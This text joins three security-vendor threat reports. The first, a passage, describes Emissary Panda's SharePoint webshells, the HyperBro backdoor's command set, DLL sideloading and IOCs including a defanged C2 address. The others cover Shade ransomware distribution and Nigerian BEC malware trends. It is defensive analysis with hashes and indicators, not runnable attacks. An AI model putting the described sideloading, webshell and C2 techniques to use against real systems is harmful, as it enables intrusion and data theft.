We saw far fewer portable executable files uploaded to the second errr.aspx webshell, specifically the 3 files seen in Table 4. The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell. Also, we observed the actor uploading a legitimate Microsoft application that would sideload a malicious DLL, of which was very similar to the DLL sideloaded by the Sublime Text plugin host that was uploaded to the error2.aspx webshell.

Filename SHA256 Description
checker1.exe d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333 Compiled MS17-010 checker
CreateMedia.exe 2bb22c7b97e4c4d07e17a259cbc48d72f7e3935aa873e3dd78d01c5bbf426088 Legitimate CreateMedia.exe application from Microsoft's System Center 2012 Configuration Manager
CreateTsMediaAdm.dll 06510504f30feb1adc7e423d5a24e67e5b97acbfafe40f253a054be8b1c4e8d7 Sideloaded DLL loaded by CreateMedia.exe

Table 4. Unique tools uploaded to the errr.aspx webshell installed on a SharePoint server

Emissary Panda Specific Tools

Many of the tools uploaded to these webshells are hacking tools that are publicly accessible and could be used by multiple threat actors. However, several of the tools uploaded to the webshells appear to be custom made and likely related to the Emissary Panda threat group.

HyperBro

The s.exe (SHA256: 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462) uploaded to the error2.aspx webshell is a self-extracting 7-zip archive that is an example of the HyperBro backdoor. According to Kaspersky and SecureWorks research, HyperBro is a custom backdoor developed and used by Emissary Panda in their attack campaigns. This sample of HyperBro is similar to the sample discussed in Kaspersky’s research, specifically using a legitimate pcAnywhere application to sideload a DLL to decrypt, decompress and run a payload embedded within a file named ‘thumb.db’. Table 5 shows the three files associated with this HyperBro sample, which have the same file names as the self-extracting 7zip archives mentioned in Kaspersky’s blog (SHA256 hashes: 34a542356ac8a3f6e367c6827b728e18e905c71574b3813f163e043f70aa3bfa and 2144aa68c7b2a6e3511e482d6759895210cf60c67f14b9485a0236af925d8233).

 

Filename SHA256 Description
thinprobe.exe 76d2e897ca235beab44ee7eaab9ede7bc7868bbaeb7d6cb10b4323c07eb216af Symantec pcAnywhere thinprobe application
thinhostprobedll.dll d40414b1173d59597ed1122361fe60303d3526f15320aede355c6ad9e7e239af Sideloaded DLL loaded by thinprobe.exe
thumb.db 270ea24f2cef655bd89439ab76c1d49c80caaa8899ffa6f0ef36dc1beb894530 Contains encrypted and compressed DLL payload run by sideloaded DLL

Table 5. Files associated with the HyperBro tool uploaded to webshell on SharePoint server

The functional payload is a DLL compiled on 2019-03-11 02:23:54, which has two functionalities depending if the binary has a command line argument -daemon or -worker passed to it. The daemon functionality handles the C2 communications portion of the Trojan, which is configured to communicate with 185.12.45[.]134 over HTTPS using the following URL:

hxxps://185.12.45[.]134:443/ajax

The worker functionality acts on the data received from the C2 server, which is passed from the daemon to the worker via a named pipe called "\\.\pipe\testpipe". The worker subjects the received data to a command handler whose available commands are listed in Table 6.  

Command Sub-command Description
0x12 File manager
0x10 Enumerate logical storage volumes
0x11 Delete a specified file
0x12 Upload a file
0x13 Download a file
0x17 List contents of a folder
0x19 Run an application (CreateProcessW) or script/file (ShellExecuteW)
0x13 Execute command on shell
0x16 Takes screenshot
0x19 Runs shellcode it injects into a newly created process 'msiexec.exe'
0x1a Kill specific process
0x1e Service manager
0x17 List all services and their configurations
0x19 Start a specified service
0x1a Stop a specified service

Table 6. The commands available within the HyperBro tool’s command handler

Unknown Sideloaded Payloads

Table 2 and 4 above include two legitimate executables used for DLL sideloading, specifically the plugin_host.exe application for Sublime Text and the CreateMedia.exe application from Microsoft's System Center 2012 Configuration Manager. The plugin_host.exe application imports several functions from a library named python33, which is how the legitimate application sideloads the malicious DLL named PYTHON33.dll. This is the first instance we have observed Sublime Text’s plugin host application used for sideloading. Like the plugin host application, the CreateMedia.exe application imports several functions from a library named CreateTsMediaAdm that is leveraged to load the malicious DLL named CreateTsMediaAdm.dll.

The PYTHON33.dll and the CreateTsMediaAdm.dll libraries are very similar with BinDiff providing a 97% similarity with 99% confidence between the two DLLs. The code diff in Figure 8 shows the decryption routine in PYTHON33.dll (right) and CreateTsMediaAdm.dll (left), both of which use an eight byte XOR key to decrypt a piece of shikata_ga_nai obfuscated shellcode. The shellcode is responsible for patching the entry point of the legitimate application to call another function in the shellcode that is responsible for loading a file with the library name with an .hlp extension (PYTHON33.hlp or CreateTsMediaAdm.hlp).

Figure 8. Code comparison between the sideloaded CreateTsMediaAdm.dll and PYTHON33.dll files uploaded to two webshells

Unfortunately, we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files, so we do not know the final payload loaded by either of these DLLs. However, using NCC Group’s research published in May 2018, we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign. Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822), which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign. The code overlaps below include the same technique to find the entry point of the loading executable and decrypting the first piece of shellcode used to patch the entry point.

Figure 9. Code comparison between the sideloaded PYTHON33.dll uploaded to webshell and the inicore_v2.3.30.dll file sideloaded in previous Emissary Panda attacks

Conclusion

The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East, which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604. According to Microsoft’s advisory, this vulnerability was patched on March 12, 2019 and we first saw the webshell activity on April 1, 2019. This suggests that the threat group was able to quickly leverage a known vulnerability to exploit Internet facing servers to gain access to targeted networks.

Once the adversary established a foothold on the targeted network, they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials, perform network reconnaissance and pivot to other systems. We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010. We also observed the actors uploading legitimate tools that would sideload DLLs, specifically the Sublime Text plugin host and the Microsoft’s Create Media application, both of which we had never seen used for DLL sideloading before.

Palo Alto Networks customers are protected by:

  • The CVE-2019-0604 vulnerability is covered by our IPS signature Microsoft Sharepoint Remote Code Execution Vulnerability (55411)
  • All illegitimate tools uploaded to the webshells are marked with malicious verdicts by WildFire and Traps.
  • AutoFocus customers can track the custom Emissary Panda payload seen uploaded to the webshell using the HyperBro tag, but can also track the hack tools using the following tags (note the hack tools are used by multiple actors and not just Emissary Panda):

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

IOCs

Webshells SHA256

006569f0a7e501e58fe15a4323eedc08f9865239131b28dc5f95f750b4767b38

2feae7574a2cc4dea2bff4eceb92e3a77cf682c0a1e78ee70be931a251794b86

d1ab0dff44508bac9005e95299704a887b0ffc42734a34b30ebf6d3916053dbe

6b3f835acbd954af168184f57c9d8e6798898e9ee650bd543ea6f2e9d5cf6378

Malicious HackTools and Payloads SHA256

88027a44dc82a97e21f04121eea2e86b4ddf1bd7bbaa4ad009b97b50307570bd

738128b4f42c8d2335d68383d72734130c0c4184725c06851498a4cf0374a841

3bca0bb708c5dad1c683c6ead857a5ebfa15928a59211432459a3efa6a1afc59

29897f2ae25017455f904595872f2430b5f7fedd00ff1a46f1ea77e50940128e

d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333

a18326f929229da53d4cc340bde830f75e810122c58b523460c8d6ba62ede0e5

090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98

7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7

38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c

4a26ec5fd16ee13d869d6b0b6177e570444f6a007759ea94f1aa18fa831290a8

b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9

475c7e88a6d73e619ec585a7c9e6e57d2efc8298b688ebc10a3c703322f1a4a7

9f5f3a9ce156213445d08d1a9ea99356d2136924dc28a8ceca6d528f9dbd718b

c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e

a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86

e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee

d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333

06510504f30feb1adc7e423d5a24e67e5b97acbfafe40f253a054be8b1c4e8d7

b279a41359367408c627ffa8d80051ed0f04c76fbf6aed79b3b2963203e08ade

7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7

04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462

090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98

38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c

2dde8881cd9b43633d69dfa60f23713d7375913845ac3fe9b4d8a618660c4528

HyperBro C2

hxxps://185.12.45[.]134:443/ajax

185.12.45[.]134

Shade Ransomware Hits High-Tech, Wholesale, Education Sectors in U.S, Japan, India, Thailand, Canada

Posted on by Brad Duncan

Shade ransomware is a long-established family of ransomware first spotted in late 2014 targeting hosts running Microsoft Windows. It is also known as Troldesh. Shade has been distributed through malicious spam (malspam) and exploit kits. A recent report focused on Russian language emails that deliver Shade, but this ransomware is also distributed through English-language malspam.

Where is Shade currently appearing? To answer this question, we reviewed recent trends in Shade ransomware among our customer base. Our results indicate the majority of recent Shade ransomware executables have also targeted users outside of Russia.

In fact, our research shows that the top five countries affected by Shade ransomware are not Russia or nations of the former Soviet Union, they are the United States, Japan, India, Thailand, and Canada, Russia only occurs at number seven and the only other country we found in the top ten where Russian is an official language is Kazakhstan at number ten. The top industries attacked in these countries were High-Tech, Wholesale, and Education.

Very Little Change Since 2016

The Shade ransomware executable (EXE) has been remarkably consistent. All EXE samples we have analyzed since 2016 use the same Tor address at cryptsen7f043rr6.onion as a decryptor page. The desktop background that appears during an infection has been the same since Shade was first reported as Troldesh in late 2014.

Shade ransomware infections may include other activity like click fraud traffic as noted here.

Russian and English Language Distribution

Recent reports of malspam pushing Shade ransomware have focused on distribution through Russian language emails. However, Shade decryption instructions have always included English as well as Russian text. English language waves of malspam have been noted pushing Shade ransomware, like this wave of IRS notifications targeting recipients in the United States in 2017.

What does a Shade infection look like?

When a Windows host is infected with Shade ransomware, its desktop background announces the infection, and ten text files appear on the desktop named README1.txt through README10.txt as shown in Figure 1.

Figure 1. Desktop of a Windows host infected with Shade ransomware.

The ten README files all contain the same instructions as shown in Figure 2.

Figure 2. Decryption instructions from a recent Shade ransomware infection.

Since June 2016, file extensions for any encrypted files are .crypted000007 as shown in Figure 3.

Figure 3. Examples of encrypted files from a Shade ransomware infection.

Shade Distribution through Malspam

Malspam-based infections for Shade ransomware involve a JavaScript (.js) or other type of script-based file disguised as an invoice or bill. In some cases, Shade malspam has links for these script-based files. In other cases, the files are directly attached to the emails within a zip file or other type of archive. In February 2019, waves of Russian-language malspam used attached PDF files with links to download zip archives containing these script-based files.

In all cases we have reviewed, a .js or other script-based file was involved as indicated in Figure 4. These script-based files are designed to retrieve executable files for Shade ransomware.

Figure 4. Flow chart for malspam-based Shade ransomware infections.

Executable delivery during the infection chain

Malspam-based Shade infection chains have one thing in common. They all involve retrieving an executable file from a compromised server. By focusing on the executable in this chain of events, we can determine where Shade ransomware infection attempts have occurred.

AutoFocus search parameters

AutoFocus has a Shade ransomware tag that identifies any items associated with Shade ransomware. We searched on attempted deliveries of a Shade ransomware executable during an infection chain, and we focused our search on packed executable (PE) files sent through a URL over TCP port 80.

Since we're trying to determine geographic locations among our customer base where Shade ransomware attempts have happened, we looked for the country of Palo Alto Networks devices that discovered these attempts.

This search is for the first quarter of 2019.

Finally, our query eliminated any obvious malware submissions to online sandboxes and online sharing services. Our search parameters from the AutoFocus database were:

  • Date is in the range from January 1st through March 31st
  • Unit 42 tag is for Shade ransomware
  • File type is PE
  • File URL has any value but is not unknown
  • Source port (the TCP port the file came from) is 80
  • Device Country has any value (is not blank or unidentified)
  • File URL does not contain the string /malware/
  • File URL does not contain the string malshare.com
  • File URL does not contain the string paloaltonetworks
  • File URL does not contain the string local

Figure 5. An AutoFocus query for Shade ransomware executables in the first quarter of 2019.

Results from January through March 2019

Our search results from January through March 2019 revealed 307 Shade ransomware samples over 6,536 sessions. Each session represents an HTTP request for a URL hosting a Shade ransomware executable. Many of these URLs were seen multiple times in separate sessions. Locations of our top ten results were:

  • United States - 2,010 sessions
  • Japan - 1,677 sessions
  • India - 989 sessions
  • Thailand - 723 sessions
  • Canada - 712 sessions
  • Spain - 505 sessions
  • Russian Federation - 86 sessions
  • France - 71 sessions
  • United Kingdom - 67 sessions
  • Kazakhstan - 21 sessions

Figure 6. Top ten countries from our AutoFocus search results as shown on a world map.

The top country with Shade ransomware infection attempts among our customer base was the United States. The vast majority of these for URLs hosting Shade ransomware executables were reported from customer devices outside of Russia and Russian language countries.

The top 10 verticals for this period were:

  • High Tech: 5,009 sessions
  • Wholesale and Retail: 722 sessions
  • Education: 720 sessions
  • Telecommunications: 311 sessions
  • Finance: 51 sessions
  • Transportation and Logistics: 24 sessions
  • Manufacturing: 32 sessions
  • Professional and Legal Services: 8 sessions
  • Utilities and Energy: 4 sessions
  • State and Local Government: 1 session

Conclusion

The top country with Shade ransomware infection attempts among our customer base was the United States. The vast majority of these for URLs hosting Shade ransomware executables were reported from customer devices outside of Russia and Russian language countries.

The most common target for Shade ransomware infection attempts were organizations that fell under the High Tech category.

These results are likely skewed towards English due to our customer base. However, they indicate Shade ransomware is very active outside of Russia and possibly targeting more English-speaking victims than Russian.

Palo Alto Networks customers are protected from Shade ransomware by our threat prevention platform which easily detects these executables. AutoFocus users can track Shade ransomware attempts by using the Shade tag. See the appendices below for details on recent Shade ransomware samples we discovered in March and April 2019.

Appendix A

73 recent SHA256 file hashes for Shade ransomware executable files found in March and April 2019. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Shade_ransomware/Shade-ransomware-SHA256-hashes-March-and-April-2019.txt

Appendix B

203 recent URLs that returned Shade ransomware executable files in March and April 2019. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Shade_ransomware/Shade-ransomware-URLs-March-and-April-2019.txt

SilverTerrier: 2018 Nigerian Business Email Compromise Update

Posted on by Unit 42

Executive Summary 

Over the past five years, Business Email Compromise (BEC) schemes have emerged as one of the most profitable and widespread activities amongst cyber criminals. This rapid rise has sparked alarm, recognition, and a call to action across both domestic and international law enforcement communities. In 2016 the Internet Crime Complaint Center (IC3) published its annual report highlighting BEC as a “Hot Topic” with single year losses estimated at US$360 million. A year later, BEC retained special recognition as a hot topic in the 2017 report which estimated US$670 million in annual losses.  With rising public awareness and improved reporting mechanisms, law enforcement subsequently reported a 136% increase in losses between December 2016 and May 2018.  Of greatest concern, the same announcement noted that global losses exceeded US$12.5 billion and impacted 150 countries in the five-year period from 2013-2018. Unfortunately, this trend shows no sign of slowing down with the recently released 2018 report noting that single year losses have now eclipsed US$1.29 billion.  

Concurrently, Palo Alto Networks Unit 42 has actively monitored the evolution of this threat with a focus on Nigerian cybercrime.  While BEC is a global threat, our focus on Nigerian actors provides insights into one of the largest subcultures participating in this malign activity given the country’s historic ranking as a top five hotspot for cybercrime.  In 2014, we released our first report 419 Evolution, documenting one of the first cases of Nigerians deploying malware for financial gain.  Two years later, we released The Next Evolution of Nigerian Cybercrime, detailing a tremendous growth in malware adoption and assigning the code name “SilverTerrier” to these actors.  In 2017, we observed the threat expand to hundreds of actors participating in BEC schemes with details released in The Rise of Nigerian Business Email Compromise.  Over the past year, the number of SilverTerrier actors surpassed 400.  Combined, these actors are now attributed to over 51,000 malware samples and 1.1 million attacks over the past four years.  Leveraging this wealth of data, this blog outlines the most recent SilverTerrier malware trends and provides an overview of positive actions taking place across law enforcement and industry to combat this activity.   

Attacks 

Collectively, Nigerian cyber actors continued to prove their ability to deliver sizable year-over-year growth in attacks.  In 2017, we observed an average of 18,294 attacks per month, representing a 23% increase from 2016.  This period also included a new single month’s record of 41,000 attacks in August 2017.  In 2018, average attacks grew to 28,227 per month with surges in March and April both surpassing previous records (see Figure 1).  This growth represents an alarming 54% annual increase and signifies that both the quantity and pace of attacks is increasing. Moreover, one should note that these numbers only reflect attacks against our customer base.  Thus, while we assess that our metrics are representative of the global trends associated with this activity, it is very likely that the actual number of global attacks far exceeds our numbers. 

Figure 1. Nigerian malware activity from July 2014 through December 2018 

In addition to impressive growth, Nigerian actors continue to launch their attacks against the breadth of all industry segments.  Our data shows that the high-tech industry received the greatest number of attacks, climbing from 46k to 120k over the past year.  The wholesale industry advanced to secure its place as the second most targeted industry, witnessing a 400% growth in attacks from 2017.  Manufacturing also observed a sizeable increase in attacks from 32k to 57k but dropped one position to become the third most targeted industry in 2018.  Finally, education and professional/legal services both witnessed sizable growth in attacks as the fourth and fifth most targeted industries, respectively.

Figure 2. Top five targeted industries

Analyzing the delivery vectors used in these attacks produced a consistent ranking of the top five applications between 2017 and 2018. Email applications topped the list with SMTP, POP3, and IMAP securing the first, second, and fourth most common delivery applications, respectively.  In terms of metrics, we observed malware in 219k SMTP sessions, 46k POP3 sessions, and 8.4k IMAP sessions.  Web browsing remained the third most common delivery application with malware detected in 20k sessions while FTP ranked fifth with only 654 sessions. Comparatively, these metrics provide valuable insights for network administrators, informing the need for email-based detection capabilities in order to adequately defend against this threat.

Figure 3. Top five delivery applications 

Malware 

SilverTerrier actors are gaining experience quickly as they adopt new technologies, techniques, and malware to advance their schemes.  Over the course of the past four years, we tracked their adoption and use of 20 different commodity malware tools.  Procured for nominal costs, these tools require minimal setup, and come preloaded with a variety of capabilities that enable actors to achieve their desired outcomes.  Given that the antivirus community is often quick to identify and signature these tools, Nigerian actors frequently leverage a variety of constantly evolving “crypters” as a means to obfuscate the tools and circumvent signature-based detection capabilities.  Comparing 14,694 SilverTerrier samples collected in 2018 against VirusTotal demonstrated an average detection rate of 53% across vendor solutions at the time of discovery. By the end of the year, subsequent measurements taken in early 2019 revealed that detection rates improved over time, but only by five percentage points, achieving 58% across all vendors.  This low number lends credence to, and highlights the significance of, the threat that this malware employment technique poses to organizations relying on traditional signature-based detection capabilities.  

Focusing on the individual tools, we continue to find that the adoption and employment rates of malware families rise and fall consistent with popularity, effectiveness, detection rates, availability, and other traditional market factors.  Analysis of these trends can provide valuable insights for network administrators in terms of validating and tailoring network defenses for the most common threats.  Of equal importance, these trends guide the cybersecurity industry in prioritizing detection capabilities while also enabling law enforcement to focus attribution and legal process against tool developers.  In performing this analysis, we grouped the tools into two broad categories: Information Stealers and Remote Administration Tools, or RATs. 

Information Stealers 

AgentTesla, Atmos, AzoRult, ISpySoftware, ISR Stealer, KeyBase, LokiBot, Pony, PredatorPain, and Zeus are all commodity malware tools designed with a core information stealing component.  Upon infection, they capture screenshots, passwords, or other sensitive files which are then transmitted to locations where they can later be retrieved by cyber actors.  In most cases, these tools rely on simple command and control mechanisms such as uploads to web servers, FTP servers, and SMTP email connections.  These common services blend in with normal network traffic and ultimately impede detection capabilities by traditional port/protocol filtering edge devices.  However, this strength is also a weakness in that the malware control infrastructure is generally hard coded as a domain or email address.  Once identified, this infrastructure can be taken down by service providers thus terminating collection and limiting the period of effective use for these tools.  

Across the ten tools, Nigerian actors produced an average of 1000 unique samples of malware per month in 2018 (see Figure 4).  Although substantial, this average represents a noteworthy 26% decline from the previous year.  Our data suggests that the rapid growth experienced between 2014 and 2017 has reached its peak, plateaued, and is now in decline.  While difficult to pinpoint the exact reason behind this phenomenon, it is likely that declining availability of tools, increased law enforcement efforts, advancements in the cybersecurity landscape, and increased adoption of RATs by SilverTerrier actors were all contributing factors.

Figure 4. Information Stealer samples 2014-2018 

Exploring the most popular tools in this category, we found that SilverTerrier samples were disproportionately associated with four of the ten tools seen in 2018.  At the top of the list, we observed an average of 446 samples of Lokibot.  Pony, which averaged 330 samples per month, maintained its popularity throughout 2018 likely due to its dual nature as a capability for stealing credentials and more importantly, its ability to download and install additional malware tools on compromised systems. Next, actors produced an average of 95 samples per month of AgentTesla, a small .NET keylogger.  Finally, PredatorPain, a tool which has received multiple updates over the years, fell in popularity from its peak usage in 2016, but maintained a steady following of actors producing an average of 65 samples per month throughout 2018.

Figure 5. Most popular Information Stealers 2018 

On the other end of the spectrum, our data shows that historically Atmos, AzoRult, KeyBase, ISpySoftware, and ISR Stealer were very capable tools, yet all have experienced dramatic declines from their peak usage rates.  In comparison with the most popular tools, we observed an average of only 24 samples per month of ISR Stealer attributed to a hand full of actors in 2018 while the remaining capabilities ranged from two to 16 samples per month.

Figure 6. Least popular Information Stealers 2018 

Remote Administration Tools 

NetWire, DarkComet, NanoCore, LuminosityLink, Remcos, ImminentMonitor, NJRat, Quasar, Adwind, HWorm are all commodity malware tools that provide attackers with remote access to compromised systems.  In doing so, these tools expand upon the basic data theft capabilities of information stealers and allow SilverTerrier actors to modify systems, access network resources, and perform functions on behalf of compromised users.  This functionality is commonly leveraged to send malicious or fraudulent emails and access databases within victim organizations in hopes of monetizing their efforts.  However, with greater capabilities comes greater complexity and these tools often require additional experience to deploy and operate.  For example, the interactive nature of these tools demands steady connections to control servers that are often running on high number ephemeral ports.  In order to protect the control servers, actors frequently rely on dynamic DNS and virtual servers rather than static domain registrations.  This technique affords actors a layer of obfuscation making attribution more difficult while also extending the useable life of a malware sample, as dynamic DNS allows for transfer of control to new servers over time.  

Evaluating Nigerian use of these ten tools in 2018, we observed an average production of 533 samples per month, representing a gain of 36% over the previous year.  This sample rate is nearly half that of information stealers, yet the growth rate stands in stark contrast. Combined, the data suggests that Nigerian actors are moving away from legacy information stealers in favor of remote administration tools which provide greater capabilities to achieve their goals.  Given these metrics, we assess that RAT adoption and deployment will continue to climb at a consistent rate throughout 2019.

Figure 7. Remote Administration Tool samples 2014-2018 

Exploring the most popular tools in this category, we found that six out of the ten tools exceeded averages of 50 samples per month.  Securing the top spot with an average of 125 samples per month, NanoCore was the most popular RAT employed by SilverTerrier actors in 2018.  This is a fascinating result, given that the developer behind NanoCore was arrested in 2017.  Yet, despite legal efforts to curb its use, a “cracked” version of the tool remains available for free download on various forums across the internet, thus allowing for continued use.  DarkComet and Netwire, both adopted back in 2014, followed in popularity with averages of 86 and 85 samples per month respectively.  HWorm, originally released in 2013, has received developer upgrades over the years.  Despite its history, our first confirmed use by Nigerian actors was in March 2018 and since then, we have observed an average of 70 samples per month. Finally, SilverTerrier actors continued to steadily employ Remcos, first seen in 2016, and Adwind, first seen in 2015, at average rates of 58 and 53 samples per month throughout 2018.

 Figure 8. Most popular Remote Administration Tools 2018 

Standing in contrast to the steady employment and rapid adoption of the most popular tools, we saw that ImminentMonitor, LuminosityLink, NJRat, and Quasar have lost popularity over the past year.   Of the four, ImminentMonitor maintains a small but loyal following of Nigerian actors that produced an average of 24 samples per month.  LuminosityLink, serves as a success story for law enforcement in that usage dropped from over 100 samples per month in early 2017 to an average of 18 samples per month in 2018 after the developer was arrested.  Public attribution, attack metrics, and historical sales context provided in our February blog post aided law enforcement efforts in securing a guilty plea in July, followed by sentencing in October.  Finally, Quasar and NJRat exist as anomalies, having never gained tremendous adoption rates amongst SilverTerrier actors, thus resulting in low averages of 8 and 6 samples per month, respectively.

Figure 9. Least popular Remote Administration Tools 2018 

A Year of Action 

Despite the continued growth in attacks and US$12.5 billion in global loses attributed to BEC schemes over the past five years, there were also a series of positive actions that took place cementing 2018 as an important milestone in the battle against this threat.  Arguably, the most noteworthy of these activities was the mobilization and unprecedented level of collaboration between law enforcement and private industry partners from the cybersecurity, technology, and financial sectors.  While the foundation for this collaboration dates back to the first BEC conference hosted in 2016, this industry-led initiative has since transformed into an annual event that continues to pay dividends for all organizations involved. 

One such dividend was realized in January 2018 when the Federal Bureau of Investigation (FBI) launched its first large-scale, coordinated effort to dismantle BEC operations globally. Over the course of six months, law enforcement officers participating Operation Wirewire arrested 74 individuals.  Amongst them were 29 Nigerians arrested as a result of the FBI’s close collaboration with the Nigerian Electronic Federal Crimes Commission (EFCC).  Capitalizing on the success of the operation, the third annual BEC conference convened in July 2018.  There, law enforcement organizations provided valuable feedback to industry partners and highlighted an expanding list of new relationships with international counterparts energized to tackle this threat.  

Beyond law enforcement actions and in October 2018, Mr. Ronnie Tokazowski, the founder and administrator of the BEC collaboration group, graciously accepted the JD Falk Award on behalf of the group’s 530+ members.  This award specifically recognized the group’s achievements on preventing millions of dollars in fraud through real-time, cross-industry collaboration, as well as efforts that resulted in the disruption of thousands of Nigerian scheme email accounts.  

Combined, these two exemplars mark the beginning of a positive turning point as organizations look beyond individual defense activities towards proactive actions to combat the BEC threat.  Where cyber actors previously acted with impunity, law enforcement has now demonstrated the resolve to coordinate with foreign partners in pursuit of these crimes.  Nowhere is the success of this collaboration more evident than in Nigeria where the EFCC proudly posts on their public Facebook page photos of actors along with their associated charges. 

Conclusions 

Business Email Compromise (BEC) schemes are one of the most profitable and widespread activities amongst cyber criminals with recent reports quantifying global losses in excess of US$12.5 billion. Unit 42 monitors this threat through the lens of Nigerian cybercrime.  In doing so, we active track more than 400 SilverTerrier actors attributed to roughly 51,000 malware samples and 1.1 million attacks over the past four years. 

SilverTerrier actors remain a formidable threat to businesses worldwide, demonstrating a 54 percent increase in attacks in 2018. These actors predominately rely on email to distribute their malware with the most targeted industries being: High Tech, Wholesale, Manufacturing, Education and Professional/Legal Services. 

Our data from 2018 shows that information stealing malware families remain in common use, with SilverTerrier actors producing an average of 1000 samples per month.  However, the production of new samples declined 26% signaling a shift to more capable Remote Administration Tools which saw a 36% increase and an average production of 533 samples per month. 

While BEC campaigns remain an active threat, Palo Alto Networks customers are protected in the following ways:  

  • WildFire® cloud-based threat analysis service and Traps™ advanced endpoint protection accurately identify samples associated with these malware families. 
  • DNS Security Service, Threat Prevention and URL Filtering identify all phishing and malware domains associated with these actors as malicious.  

 Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the following tags: 

Adwind 

AgentTesla 

Atmos 

AzoRult 

BilalStealer (ISR Stealer) 

DarkComet 

HWorm 

ImminentMonitor 

ISpySoftware 

KeyBase 

LokiBot 

LuminosityLink 

NanoCore 

NetWire 

NJRat 

Pony 

PredatorPain 

Quasar 

Remcos 

Zeus 

SilverTerrier 

 You can find a complete list of the malware domains associated with SilverTerrier actors on GitHub®. 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow